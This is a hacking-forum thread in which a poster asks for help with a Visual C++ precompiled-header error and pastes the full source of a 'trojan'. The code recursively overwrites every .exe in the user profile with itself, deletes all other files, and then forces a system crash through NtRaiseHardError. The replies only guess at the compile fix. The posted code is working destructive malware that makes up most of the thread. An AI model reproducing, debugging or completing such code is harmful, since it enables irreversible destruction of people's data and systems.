EvilZone

Programming and Scripting => Beginner's Corner => : Jeirox January 14, 2015, 12:54:58 AM

: I need help
: Jeirox January 14, 2015, 12:54:58 AM
I keep getting this error:

Error   2   error C2857: '#include' statement specified with the /YcYcstdafx.h command-line option was not found in the source file   c:\users\joking\documents\visual studio 2013\projects\int_trojan.win32\int_trojan.win32\stdafx.cpp   9   1   INT_TROJAN.WIN32


Here is the code (C++)
:
#include <stdio.h>
#include <Windows.h>
#include <ntstatus.h>
#include "stdafx.h"


#pragma comment(lib,"ntdll.lib")


typedef enum _HARDERROR_RESPONSE_OPTION
{
   OptionAbortRetryIgnore,
   OptionOk,
   OptionOkCancel,
   OptionRetryCancel,
   OptionYesNo,
   OptionYesNoCancel,
   OptionShutdownSystem,
   OptionOkNoWait,
   OptionCancelTryContinue
}HARDERROR_RESPONSE_OPTION;


typedef enum _HARDERROR_RESPONSE
{
   ResponseReturnToCaller,
   ResponseNotHandled,
   ResponseAbort,
   ResponseCancel,
   ResponseIgnore,
   ResponseNo,
   ResponseOk,
   ResponseRetry,
   ResponseYes,
   ResponseTryAgain,
   ResponseContinue
}HARDERROR_RESPONSE;


extern "C" NTSTATUS NTAPI NtRaiseHardError(
   NTSTATUS ErrorStatus,
   ULONG NumberOfParameters,
   ULONG UnicodeStringParameterMask,
   PULONG_PTR Parameters,
   ULONG ValidResponseOptions,
   PULONG Response
   );


extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);


void WINAPI InfectFiles(LPSTR Directory)
{
   HANDLE hFind;
   char SearchName[1024], FullPath[1024];


   WIN32_FIND_DATA FindData;


   memset(SearchName, 0, sizeof(SearchName));
   sprintf(SearchName, "%s\\*", Directory);


   hFind = FindFirstFile(SearchName, &FindData);


   if (hFind != INVALID_HANDLE_VALUE)
   {
      while (FindNextFile(hFind, &FindData))
      {
         if (FindData.cFileName[0] == '.')
         {
            continue;
         }
         memset(FullPath, 0, sizeof(FullPath));
         sprintf(FullPath, "%s\\%s", Directory, FindData.cFileName); // Get the full path


         if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
         {
            InfectFiles(FullPath); //subdir
         }
         else
         {
            if (strstr(FindData.cFileName, ".exe"))
            {
               CopyFile(_pgmptr, FullPath, FALSE); // overwrite file
            }


            else
            {
               DeleteFile(FullPath); // Otherwise, delete the file
            }
         }
      }


      FindClose(hFind);
   }
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
   ULONG Response;
   BOOLEAN bl;


   char dir[120];


   CreateMutex(NULL, TRUE, "VC++");


   if (GetLastError() == ERROR_ALREADY_EXISTS)
   {
      ExitProcess(0);
   }
   GetEnvironmentVariable("userprofile", dir, sizeof(dir)); // Get the user directory
   InfectFiles(dir); // Infect files
   MessageBox(NULL, "Trojan", "VC++", MB_ICONSTOP);
   RtlAdjustPrivilege(19, TRUE, FALSE, &bl); // Enable SeShutdownPrivilege
   NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, OptionShutdownSystem, &Response); // Shutdown
   return 0;
}

[size=78%]Any help?[/size]
: Re: I need help
: Syntax990 January 14, 2015, 12:59:50 AM
Now I cant read or write C++ at all. I'll make a huge guess and tell you to change the
#include "stdafx.h" to #include <stdafx.h>.
: Re: I need help
: d4rkcat January 14, 2015, 01:05:59 AM
noob question?

Please put all noob programming questions in the new noob programming board:

http://evilzone.org/programming-newbies/
: Re: I need help
: HTH January 14, 2015, 08:46:39 AM
Geoff's solution is more than likely correct, OP please report back with more information.

@Geoff, come on man that's just grapsing at straws, noobs know they are noobs.

Moved.